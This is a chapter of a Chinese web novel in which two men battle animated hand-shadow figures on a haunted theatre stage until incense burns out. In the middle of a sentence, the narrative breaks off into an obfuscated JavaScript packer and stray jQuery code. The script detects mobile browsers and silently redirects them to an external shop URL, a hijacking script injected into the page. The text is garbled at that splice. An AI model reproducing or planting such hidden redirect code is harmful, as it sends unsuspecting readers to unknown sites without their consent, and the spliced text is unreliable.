幕布上的老虎影子还在步步紧逼,它猛地往前一扑,张开大口就对着李苇安的熊影子咬了下去。
李苇安顿觉手背上传来一阵刺痛,像是真的有尖牙刺破了自己皮肤,他赶紧将手撤出光束,低头一看,手背上还真多了一圈清晰的猫科动物齿痕,表皮甚至已经咬开,血珠也正慢慢渗出来。
两人见状,心中警铃大作,慌忙往后退,试图撤出灯光照射的范围。
可那几盏手影专用灯,竟像是被无形的力量操控着,灯头开始转动追着两人照射过来,无论他们躲到舞台的任何任何角落,灯光总能正好转过来,而那只老虎影子就穿梭在光束里,贴着幕布快速移动,始终冲着李苇安的方向前进,像是认准了他做自己的猎物。
李苇安绕着舞台来回跑,呼吸也越来越乱,脚步因为体力损耗,被迫慢了下来。他一直记着老板的忠告,香没燃尽前绝对不能下台终止演出,可眼下这情形,再跑下去自己迟早要被影子追上,但这四根香才燃了不到三分之一,自己的体力根本撑不到演出结束。
张戈扬也急得心慌,那影子完全没有实体,却有攻击力,他只能抓起备用麦克风往幕布上砸过去,然而此举对影子而言,没有任何影响。
他只能快步冲到墙边去按灯光开关,可那塑料开关像是钉死了一般,任凭他使出多大力气往下按,开关都纹丝不动。
眼看老虎影子张着大嘴就要扑到李苇安身上,张戈扬情急之下也顾不上别的,伸手对着幕布上的老虎,比出了一把手枪的形状,拇指往后一扳,做出开枪的动作。
他当时也就死马当活马医,没抱什么指望,没想到这通操作竟真的起了作用。
幕布上的老虎影子猛地后张,像是真的中了子弹一般嘴巴大张,随即直挺挺地倒了下去,消失在了灯光边缘。
“呼...没想到能影子对付影子,你还真行啊。”李苇安侥幸逃脱,停下脚步,一手撑着膝盖,一手冲张戈扬比了个大拇指,然而话音刚落,他脸上的笑意就卡住了。
张戈扬的手已经放了下来,可幕布上那把手枪的影子却还留在原地,甚至还做出了一个虚空上膛的动作。
“不好!快躲!”张戈扬见势不妙,一把将李苇安拽到自己身后,两人匆匆躲到旁边的设备箱后头。那枪影竟跟着转了方向,对准了他们藏身的位置,随即开始连续射击。影子子弹打在塑料箱体上,竟真的发出接连不断的声响,箱子表面也被打出了一个个小坑。
这设备箱是普通的塑料材质,也没多结实,那箱盖已经被影子枪打裂,整个箱体应该也撑不了多久了。
张戈扬心想自己体格壮,真挨几下也未必有事,便打算让自己当肉盾,把李苇安护住再说。
然而怀里的李苇安却像条泥鳅似的溜了出去,趁着影子枪上膛的间隙,冲到前方,手脚并用地比划出一个短头短胳膊短腿,圆滚滚的轮廓。
“李苇安你疯了吗!”张戈扬看到这场面,心脏要吓得停跳了,赶紧一把将人拽了回来,手臂用力禁锢着李苇安的腰,完全无视李苇安的扑腾,重新缩回设备箱后面。
李苇安方才摆出的影子已经留在了幕布上,那东西看起来圆头圆脑的,重心不太稳,稍微受点力,就往张戈扬这边歪过来,重重压在了他的影子上。
就这一瞬间,张戈扬的后背猛地一沉,像是被个几百斤的相扑选手趴到他背上,压得他往前一踉跄,差点直接匍匐在地上。
张戈扬只能一只手护着怀里的李苇安,另一只手撑住地面,费力地喘着气问:“你刚才变出的什么玩意儿?怎么这么重!”
李苇安从他怀里挣出头,迟疑着小声解释:“钢铁大王八。”
张戈扬差点一口气没接上来,险些没抗住背上的重量。这时枪影的上膛动作也已完成,再次对着他们的方向开始射击。
本以为这次要遭殃,没想到子弹打在那只影子大王八的壳上,发出了像是东西被弹开的砰砰声。张戈扬能感受到一鼓鼓的冲击力往自己背上撞过来,但自己身上却没受任何伤,所有的攻击还真都被大王八挡在了壳外面。
那枪影徒劳地射击了好一会儿,似乎也把子弹全部打光了,枪身打了几发空枪后,便慢慢退进阴影里消失不见。
李苇安小心翼翼地探出身子,刚想松口气,却见张戈扬撑着地面的手臂上,青筋根根暴起,牙关也咬得死紧,浑身肌肉都紧绷起来,像是背上驮了个铁秤砣,完全无法做多余的动作。
李苇安心头一颤,连忙探手想帮他扛住重量,自己刚搭上张戈扬的肩膀,还能感觉到那股沉甸甸的力量正在不断加码。
两人只能一起撑着重量,腰杆都齐齐在往下弯,那钢铁王八的影子还在不断变沉,照这个势头,要不了几分钟,两人就得被压趴,最后活活被压死。
“什么东西...能劈开这王八壳啊...”张戈扬整张脸都憋得通红,额角的青筋都快因为用力过猛离家出走了,连话都是从牙缝里一点点挤出来的。
“这影子好像...只要我们心里觉得它是什么,它就会变成什么!你先扛一下!”李苇安也咬着牙回答,随后打定了一个主意,慢慢泄了力气,猫着腰窜到了影子大王八的正后方。
张戈扬连继续追问的力气都没有了,只能死命撑着地面,眼睁睁看着李苇安站到灯光下,双手交叉,摆了个经典的特摄片主角发射光线的姿势,看这样子,是想召唤出能量光束把龟壳劈了。
张戈扬脸上全是无语的黑线,实在没辙了,索性闭上眼睛,等着看这次的下场是死是活。没过多久,就听背后一声东西碎裂的炸响,随即背上的重压一轻。
张戈扬一看自己有力气能动了,顺势往前一个翻滚躲开原来的区域,撑着地面爬起来,甩了甩发麻的胳膊,往幕布上望去。
没想到李苇安摆出的影子当真留在了光影里,变成了一个身躯挺拔的人影,头上还有一个尖尖的轮廓,看起来是某个著名特摄片里的战斗角色。
张戈扬心里暗叫不妙,按照这场邪门影子戏的尿性,等会儿这人影指定把他俩当敌人揍。
果不其然,李苇安刚打算往后撤退,喉咙却突然被人勒住一般,空气卡在气管里进退不得,憋得他只能用双手胡乱往脖子上抓,却摸不到任何实体。
紧接着一股巨力传来,李苇安整个人被横着摔在了地上,那人影继续对其用出了绞杀技,简直要把李苇安往死里整。
张戈扬踏着发软的步子冲过去,对着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17921485|211032||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人影的方向甩出一个飞踢,攻击倒是奏效了,可效果微乎其微,只是让人影的动作停顿了片刻。
这下算是彻底惹恼了对方,人影松开地上的李苇安,气势汹汹地转过身,朝着张戈扬冲了过来。张戈扬刚摆出防御姿势想格挡,手臂就被一股无形的力量架住,随即整个人腾空而起,被相当结实地来了个过肩摔。
后背砸在地上的瞬间,张戈扬的五脏六腑都仿佛经历了大地震,大脑也短暂地断了一会片。
“这个特摄角色...战斗形态只有几分钟时限!”李苇安捂着脖子咳了好半天,才顺过气来。
见人影捏着拳头还要继续揍张戈扬,李苇安赶紧坐起身,双手在半空中比出分针和秒针的造型,拼成一个时钟的轮廓,心里则疯狂默念“这是人影的变身时限倒计时时钟”,也不知道自己强加的设定管不管用,此刻也只能孤注一掷。
象征指针的影子当真浮在了人影的头顶,可问题是,这几分钟时限,两人到底要怎么熬过去。
张戈扬的意识终于回笼,赶紧接上一个鲤鱼打挺,好不容易挣脱人影的禁锢,一个翻滚刚往后撤退,就看见人影缓缓抬起了手臂,双手交叉成十字,正是刚才击碎龟壳的光线发射姿势。这要是正面挨一下,张戈扬怕是直接要被轰成碎渣了。
这下实在是走投无路了,张戈扬也想不出别的招,绝望之中,他举起双手,在身前比出一个大大的圆形,脑子里疯狂默念“这是镜子,能反射光线”。
光束从人影的手中喷涌而出,直接冲向了张戈扬身前的椭圆形影子,没想到那大圈竟真的化作了镜面,那光束撞上之后,竟然反弹着朝巨人自己射了回去。
可光束的冲击力实在太大,人影避开反射的光束后,竟开始加大力气输出光束,张戈扬被冲击力撞得连连后退。
李苇安赶紧冲过来,从后面用背部顶住张戈扬的后背,二人紧紧贴在一起,拼尽全身力气硬抗这股冲击力。现在也只能撑一秒是一秒,只要熬到了变身时限,就有一线生机。
绝境之下,两人的意志力和力气都被逼到了极限,竟真的扛到了时限。最后一缕光束消散,人影头上的时钟到达了最后一秒,人影便直接做了一个标准的起飞动作,飞进了黑暗里。
两人脱力地瘫坐在地上,大口大口地喘着气,盯着幕布,等着下一个不知是什么的影子冒出来折腾他们。
出乎意料的是,台下的观众席突然爆发出了雷鸣般的掌声。两人齐齐转头望去,观众席依旧笼罩着一层灰蒙蒙的雾气,不见任何人影,可掌声却相当清晰热烈,像是给二人在谢幕喝彩。
香炉里的四根香,也正好燃到了尽头,香头的火星最后忽闪了一下,便彻底熄灭,再无青烟飘出。
“演出...成功了?”张戈扬喘着粗气,话都说不连贯。不过他明显感觉到整个剧院的温度在慢慢回升,寒意也渐渐退去,没一会儿,自己的额头上就重新冒出了汗珠。
“应该是吧...我这辈子都不想再接这种破活了!”李苇安的声音还发飘,劫后余生,他终于有力气开始抱怨。
两人就这么背靠背瘫坐在舞台的地板上,都打定主意,等会儿出去,非得找剧院老板好好算算这笔账不可。